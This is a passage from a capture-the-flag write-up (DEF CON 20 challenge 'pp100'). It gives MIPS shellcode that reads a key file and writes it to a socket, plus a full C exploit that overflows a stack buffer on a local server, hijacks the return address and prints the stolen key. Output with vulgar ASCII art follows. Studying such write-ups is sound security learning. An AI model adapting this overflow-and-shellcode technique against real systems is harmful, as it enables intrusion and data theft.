	*(uint32_t*)(payload + 288) = 0xdeadbeef; /* var_18          */
	*(uint32_t*)(payload + 292) = 0xdeadbeef; /* var_14          */
	*(uint32_t*)(payload + 296) = 0x10007CCC; /* var_10 ($gp)    */

Now I have to make some shellcode, that opens the key file, reads it, and sends the results over the socket. I also can't forget about the 0x10000004 that has to be prepended to the code!!!

.globl main

runat:
        .byte 0x04 #0x00
        .byte 0x00
        .byte 0x00
        .byte 0x10

main:
        lui   $a0, 0x1000                 # 0x04
        ori   $a0, 0x48                   # 0x08
        move  $a1, $zero                  # 0x0C
        li    $v0, 0xFA5                  # 0x10
        syscall 0 # open(key, O_RDONLY);  # 0x14

        move  $a0, $v0                    # 0x18
        lui   $a1, 0x1000                 # 0x1C
        ori   $a1, 0x4C                   # 0x20
        li    $a2, 64                     # 0x24
        li    $v0, 0xFA3                  # 0x28
        syscall 0 # read(fd, buffer, 64); # 0x2C

        li  $a0, 0x0                         # 0x30
        lui $a1, 0x1000                      # 0x34
        ori $a1, 0x4C                        # 0x38
        li  $a2, 64                          # 0x3C
        li  $v0, 0xFA4                       # 0x40
        syscall 0 # write(sock, buffer, 64); # 0x44

keyname:
        .ascii "key\0" # 0x48

buffer:
        .ascii "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" # 0x4C
        .ascii "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
        .ascii "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
        .ascii "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"

This code should do. I'll have to play around with the socket a few times until it works, but it should be somewhere between 3 and 10. Now I'll make the final program that exploits the server.

#include 
#include 
#include 
#include 

#define PNG "png2ascii\n"

unsigned char shellcode[140] =
{
	0x04, 0x00, 0x00, 0x10, 0x00, 0x10, 0x04, 0x3C, 0x48, 0x00, 0x84, 0x34,
	0x21, 0x28, 0x00, 0x00, 0xA5, 0x0F, 0x02, 0x24, 0x0C, 0x00, 0x00, 0x00,
	0x21, 0x20, 0x40, 0x00, 0x00, 0x10, 0x05, 0x3C, 0x4C, 0x00, 0xA5, 0x34,
	0x40, 0x00, 0x06, 0x24, 0xA3, 0x0F, 0x02, 0x24, 0x0C, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x04, 0x24, 0x00, 0x10, 0x05, 0x3C, 0x4C, 0x00, 0xA5, 0x34,
	0x40, 0x00, 0x06, 0x24, 0xA4, 0x0F, 0x02, 0x24, 0x0C, 0x00, 0x00, 0x00,
	0x6B, 0x65, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
};


int
main(void)
{
	struct   addrinfo *ai, hints = { 0, AF_UNSPEC, SOCK_STREAM, IPPROTO_TCP };
	INT_PTR  s;
	WSADATA  wsadata;
	char     buf[8192];
	int      ret;
	uint32_t i, sock;

	uint8_t payload[512];


	WSAStartup(MAKEWORD(2, 2), &wsadata);
	s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	getaddrinfo("127.0.0.1", "5001", &hints, &ai);
	connect(s, ai->ai_addr, (int)ai->ai_addrlen);

	/* Wait for the prompt */
	for( ; ; ){
		ret = recv(s, buf, 8191, 0);
		*(buf + ret) = 0;
		if(strstr(buf, "dd 0%"))
			break;
	}

	/* Send 'png2ascii' and wait for that prompt */
	send(s, PNG, sizeof(PNG) - 1, 0);
	for( ; ; ){
		ret = recv(s, buf, 8191, 0);
		*(buf + ret) = 0;
		if(strstr(buf, "ASCII for you:"))
			break;
	}

	sock = 6;
	
	memset(payload, 'a', 256);                /* fill buffer     */
	*(uint32_t*)(payload + 256) = 0xdeadbeef; /* stack pointer   */
	*(uint32_t*)(payload + 260) = 0x0040F968; /* return address  */
	*(uint32_t*)(payload + 264) = sock;       /* var_30 (socket) */
	*(uint32_t*)(payload + 268) = 0x10000000; /* var_2C (buffer) */
	*(uint32_t*)(payload + 272) = 0x00000200; /* var_28 (size)   */
	*(uint32_t*)(payload + 276) = 0xdeadbeef; /* var_24          */
	*(uint32_t*)(payload + 280) = 0xdeadbeef; /* var_20          */
	*(uint32_t*)(payload + 284) = 0xdeadbeef; /* var_1C          */
	*(uint32_t*)(payload + 288) = 0xdeadbeef; /* var_18          */
	*(uint32_t*)(payload + 292) = 0xdeadbeef; /* var_14          */
	*(uint32_t*)(payload + 296) = 0x10007CCC; /* var_10 ($gp)    */
	*(uint32_t*)(payload + 300) = 0x0a0a0a0a; /* newlines        */

	/* Send our exploit, phase 1 */
	send(s, payload, 301, 0);

	/* Set the socket */
	*(shellcode + 0x30) = sock;

	/* Send our shellcode, phase 2 */
	send(s, shellcode, sizeof(shellcode), 0);

	/* Read data!!! */
	for( ; ; ){
		ret = recv(s, buf, 1024, 0);
		*(buf + ret) = 0;
		printf("Data: '%s'\n", buf);
	}

	return 0;
}


That should do the trick! I'll have to try out a bunch of different sockets now.

IT WORKED! Yay!

C:\ctfs\dc20\pp100>exploit.exe
Data: '

'
Data: '    .=~~~~~~~=.
   {:..        }
    `~|  O  |~`
   .'`~~~~~~~`'.  I'VE GOT MORE
  /    o   o    \ JIZZ IN MY MOUTH
  :    )(_)(    ;  RIGHT NOW THAN
  \   '.___.'   /  YOU COULD POSSIBLY
   `.,__`=' _,.'   BELIEVE
     /__\V/__\
        /\\
       / / \
jgs    \/`\/

'
Data: 'zomgh4x
'

'zomgh4x' is the key! (not in the real challenge, only for this writeup which was hosted locally after the competition ended)

The end. Creds to my friends over at Sapheads, and to ddtek for hosting the competition!